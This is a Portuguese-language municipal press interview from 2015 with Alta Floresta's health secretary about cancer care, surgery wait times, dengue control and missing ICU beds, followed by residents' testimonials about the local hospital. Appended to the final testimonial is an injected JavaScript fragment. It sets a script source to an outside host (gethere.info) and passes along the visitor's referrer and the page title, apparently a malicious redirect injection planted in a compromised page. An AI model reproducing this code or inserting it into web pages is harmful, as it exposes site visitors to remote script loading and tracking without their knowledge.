Em entrevista realizada no dia 23 de dezembro de 2015, o secretário José Luís Teixeira destacou os desafios relacionados às doenças mais graves, como câncer, e tratamento dos feridos em acidentes de trânsito.
Com relação às ações de combate ao mosquito Aedes aegypti, o secretário disse que houve um trabalho de controle durante todo o ano pela Vigilância Ambiental, fator positivo que contribuiu para evitar uma epidemia e a proliferação da microcefalia.
Segundo José Luís Teixeira, foi criado um Plano Emergencial para combater os focos de proliferação do mosquito. Teixeira também explicou sobre a situação das UTIs.
Por fim, segue a entrevista com o secretário e os depoimentos dos moradores com relação à saúde em Alta Floresta.
Ascom: Secretário, fale sobre os trabalhos realizados pela Secretaria de Saúde durante este ano de 2015?
Secretário: A Secretaria está atuante, de uma maneira geral estamos fazendo o dever de casa. Notamos que neste ano de 2015, o município de Alta Floresta conseguiu superar as suas necessidades da melhor maneira possível, as Unidades de Saúde funcionaram normalmente no decorrer do ano. Porém, atenderam a demanda com certa dificuldade devido à greve dos médicos na rede estadual. Os encaminhamentos, viagens e exames para Cuiabá fluíram. Então, de modo geral, a saúde no que tange a atenção básica e primária, que é obrigação do Município, graças a Deus no ano de 2015, funcionou e fechamos o ano bem.
ASCOM: Quais são as maiores queixas de doenças em Alta Floresta?
Secretário: Aqui atendemos desde pacientes feridos em acidentes de trânsito até doentes diagnosticados com câncer. Fazemos o primeiro atendimento e caso haja necessidade enviamos para o hospital de Cuiabá ou Barretos, em São Paulo. O desenvolvimento desta doença é um dos problemas mais sérios e não sabemos a sua origem, se é pelo garimpo ou por produtos agrotóxicos, que são utilizados nas lavouras. Outra situação preocupante é o aumento dos acidentes de trânsito, que leva o paciente a depender de cirurgias ortopédicas, porém, essas não são realizadas aqui devem ser feitas em Cuiabá, no entanto, atualmente temos uma população muito grande esperando vaga, com quebraduras e uso de ferragem no braço. Até questionamos o governador e o secretário do Estado de Saúde para a melhoria e rapidez nos atendimentos, pois, tem paciente que fica de seis a um ano esperando vaga para cirurgia. Outros são os fatores corriqueiros, pacientes precisando de
cardiologista, dermatologista, otorrino, mas, isso segue o fluxo normal de atendimento numa maneira mais tranquila. Contudo, o problema maior é a doença do câncer e as cirurgias ortopédicas.
ASCOM: A população de Alta Floresta este ano tem sofrido com a dengue?
Secretário: Neste ano, a dengue foi um caso controlado e não chegou a uma epidemia, mas, devido ao problema que o país vem enfrentando e que decretou estado de emergência em relação à microcefalia nos meses de novembro e dezembro, as coordenações estão se organizaram tanto em nível nacional, estadual, como municipal para enfrentar este mosquito, evitando que a nossa população contraia esta doença. Porém, a Vigilância Ambiental realizou um programa de ciclos, ou seja, seis etapas aconteceram no decorrer do ano, estes foram concluídos em dezembro de 2015. Nos ciclos foram realizadas visitas de inspeção, bloqueios em alguns pontos onde apareceram os focos do mosquito e pulverização dos setores. Então, de modo geral, não tivemos graves problemas, como ocorreram em outras regiões do estado.
ASCOM: Por que ainda não foi resolvido o problema da falta de UTI em Alta Floresta?
Secretário: Em relação à falta de UTIs, a gente enfrenta muitas dificuldades, pois, todas as vezes que um paciente é internado em estado grave, é necessário encaminhá-lo a uma Unidade de Terapia Intensiva, às vezes dá tempo, mas, infelizmente em alguns casos o paciente vai ao óbito devido a demora.
Porém, toda a tramitação legal para construir uma Unidade de Terapia Intensiva em Alta Floresta já foi encaminhada ao governo estadual e federal, inclusive enviamos uma cobrança judicial, no entanto, esta determinação ainda não se cumpriu. Após a vinda do governador e do secretário aqui em Alta Floresta, eles se comprometeram em acionar com urgência a construção das UTIs, e o chefe de estado deu sinal verde ao secretário de Saúde para fazer uma parceria com o hospital Santa Rita, para ceder parte das UTIs que já estão sendo construídas, porém, conforme o consórcio Tapajós, irá demorar em torno de três meses para ficarem prontas. Enquanto isso, continuamos com o mesmo drama para conseguir vagas em outras cidades. No entanto, se o governo do estado for mais rápido, pode ser que até as UTIs do estado fiquem prontas antes. Vamos torcer.
Depoimentos dos usuários dos serviços do Hospital Municipal Albert Sabin com relação ao atendimento:
Everaldo de Souza, morador do setor Guaraná 2.
“Sofri um acidente de moto, fraturei o braço e em sete dias foi realizada a cirurgia, acho que foi rápido o atendimento, para mim está bom”.
Dolina Donato, Moradora da Rua B-2 setor B.
“Internei a minha nora que está gestante, o atendimento foi rápido e bom. Mas, acho que tem que melhorar na parte de estrutura”.
Patrícia Miranda, moradora do Bairro Cidade Alta.
“Estou com oito meses de gravidez e a médica que me atende é ótima, estou muito satisfeita com o atendimento”.
Edilaine Rodrigues De Souza, moradora da cidade de Colíder MT.
“Não tem o que dizer já que em Colíder não esta bom, aqui o atendimento está sendo ótimo, os médicos e os enfermeiros atenderam muito bem a minha filha, que teve bebê através de cesariana”.
Antônio Pereira morador do bairro Jardim Primavera.
“Já fazia anos que eu estava na fila de espera para conseguir realizar exames pelo SUS e este ano de 2015 consegui fazer o exame na capital com passagem gratuita”.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;